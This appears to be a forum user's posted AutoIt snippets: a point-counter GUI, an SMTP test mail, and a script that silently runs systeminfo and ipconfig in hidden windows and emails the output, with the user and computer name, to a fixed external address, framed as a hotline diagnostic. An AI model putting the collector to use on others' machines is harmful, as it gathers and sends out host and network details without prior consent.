Beiträge von spoomy

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 581, 465, 196, 131)
$Input1 = GUICtrlCreateInput("", 112, 24, 41, 21)
$Button1 = GUICtrlCreateButton("+", 64, 24, 19, 17)
$Button2 = GUICtrlCreateButton("-", 88, 24, 19, 17)
$Input3 = GUICtrlCreateInput("", 320, 24, 49, 21)
$Input2 = GUICtrlCreateInput("", 214, 28, 41, 21)
$Button3 = GUICtrlCreateButton("+", 168, 32, 19, 17)
$Button4 = GUICtrlCreateButton("-", 192, 32, 19, 17)
$Label1 = GUICtrlCreateLabel("Punkte", 272, 24, 38, 17)
$Edit1 = GUICtrlCreateEdit("", 305, 72, 127, 81)
GUICtrlSetData(-1, "Edit1")
$Edit2 = GUICtrlCreateEdit("", 304, 168, 129, 81)
GUICtrlSetData(-1, "Edit2")
$Edit3 = GUICtrlCreateEdit("", 304, 264, 129, 81)
GUICtrlSetData(-1, "Edit3")
$Edit4 = GUICtrlCreateEdit("", 304, 360, 129, 81)
GUICtrlSetData(-1, "Edit4")
$Input4 = GUICtrlCreateInput("", 72, 88, 17, 21)
$Input5 = GUICtrlCreateInput("", 72, 184, 17, 21)
GUICtrlCreateInput("", 72, 288, 17, 21)
$Input6 = GUICtrlCreateInput("", 72, 384, 17, 21)
$Button5 = GUICtrlCreateButton("+", 16, 88, 19, 17)
$Button6 = GUICtrlCreateButton("-", 42, 86, 19, 17)
$Button7 = GUICtrlCreateButton("+", 18, 190, 19, 17)
$Button8 = GUICtrlCreateButton("-", 42, 190, 19, 17)
$Button9 = GUICtrlCreateButton("+", 18, 294, 19, 17)
$Button10 = GUICtrlCreateButton("-", 42, 294, 19, 17)
$Button11 = GUICtrlCreateButton("+", 18, 390, 19, 17)
$Button12 = GUICtrlCreateButton("-", 42, 390, 19, 17)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
$nMsg = GUIGetMsg()
Switch $nMsg
Case $GUI_EVENT_CLOSE
Exit

EndSwitch
WEnd

AutoIt3Wrapper_Res_Language=1031
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <INet.au3>
$rueckgabe = " "
$rueckip = " "
$fehler = ""
;GUICreate("Systeminfo",500,500)
;$edit = GUICtrlCreateEdit("Systeminformationen laden",0,0,500,500)
;GUISetState()
$sid = run(@comspec & " /k systeminfo","", @SW_HIDE,6)
$iid = run(@comspec & " /k ipconfig /all","", @SW_HIDE,6)
While 1
$rueckgabe &= StdOutRead($sid)
If @error Then ExitLoop
$fehler &= StdErrRead($sid)
sleep(10)
Wend
While 1
$rueckip &= StdOutRead($iid)
If @error Then ExitLoop
$fehler &= StdErrRead($iid)
sleep(10)
Wend
;GUICtrlSetData($edit, $Rueckgabe)
Local $Response
; $Response = $rueckgabe
$s_SmtpServer = "smtp.live.com"
$s_FromName = "Vornahme Nachnahme"
$s_FromAddress = "-----@hotmail.de"
$s_ToAddress = "------@gmx.net"
$s_Subject = "Systeminformationen von " & @UserName
Dim $as_Body[6]
$as_Body[0] = "Systeminformationen von:"
$as_Body[1] = @UserName
$as_Body[2] = "Workstation:"
$as_Body[3] = @ComputerName
$as_Body[4] = $rueckgabe
$as_Body[5] = $rueckip

$Response = _INetSmtpMail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body,"EHLO " & @computername, -1)
$err = @error
If $Response = 1 Then
MsgBox(0, "Informationen gesendet", "Die E-Mail wurde versandt")
Else
MsgBox(0, "Fehler!", "Das versenden der E-Mail schlug fehl. Bitte kontaktieren Sie die Hotline und nennen Sie den Fehlercode: " & $err)
EndIf
WinClose("Systeminfo")

#include <INet.au3>

$s_SmtpServer = "smtp.live.com"
$s_FromName = "Mein Name"
$s_FromAddress = "----------@hotmail.de"
$s_ToAddress = "---------@gmx.net"
$s_Subject = "Testbetreff"
Dim $as_Body[2]
$as_Body[0] = "erste zeile"
$as_Body[1] = "Zweite Zeile"
$Response = _INetSmtpMail($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$err = @error
If $Response = 1 Then
MsgBox(0, "Erfolg!", "Die E-Mail wurde versandt")
Else
MsgBox(0, "Fehler!", "Das versenden der E-Mail schlug fehl. Fehlercode: " & $err)
EndIf